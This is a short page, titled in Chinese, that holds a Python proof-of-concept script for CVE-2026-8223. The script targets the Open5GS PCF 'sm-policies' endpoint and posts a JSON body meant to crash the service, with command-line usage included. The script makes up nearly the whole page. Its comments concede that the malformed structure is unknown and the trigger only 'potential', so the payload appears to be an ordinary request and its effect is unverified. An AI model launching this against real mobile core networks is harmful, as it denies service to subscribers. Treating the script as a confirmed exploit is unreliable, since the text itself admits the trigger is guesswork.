CVE-2026-8223 Open5GS拒绝服务漏洞

# PoC for CVE-2026-8223 (Conceptual) # Target: Open5GS sm-policies endpoint # Author: Security Analyst import requests import sys def trigger_dos(target_ip, target_port): # Endpoint vulnerable in Open5GS <= 2.7.7 url = f"http://{target_ip}:{target_port}/npcf-smpolicy/v2/sm-policies" # Crafted payload to trigger pcf_sess_sbi_discover_and_send issue # The specific malformed structure depends on the exact parser flaw payload = { "ipv4Address": "10.0.0.1", "dnn": "internet", "servingNetwork": {"mcc": "001", "mnc": "01"}, "subscriptionId": {"imsi": "001010000000001"}, # Potential trigger for the manipulation mentioned "requestIndication": {"reportType": ["URR"]} } headers = { "Content-Type": "application/json", "Accept": "application/json" } try: print(f"[*] Sending payload to {url}...") response = requests.post(url, json=payload, headers=headers, timeout=5) print(f"[+] Response Code: {response.status_code}") # If the service crashes, subsequent packets will be dropped except requests.exceptions.RequestException as e: print(f"[!] Service may have crashed or connection refused: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve_2026_8223.py <IP> <PORT>") else: trigger_dos(sys.argv[1], sys.argv[2])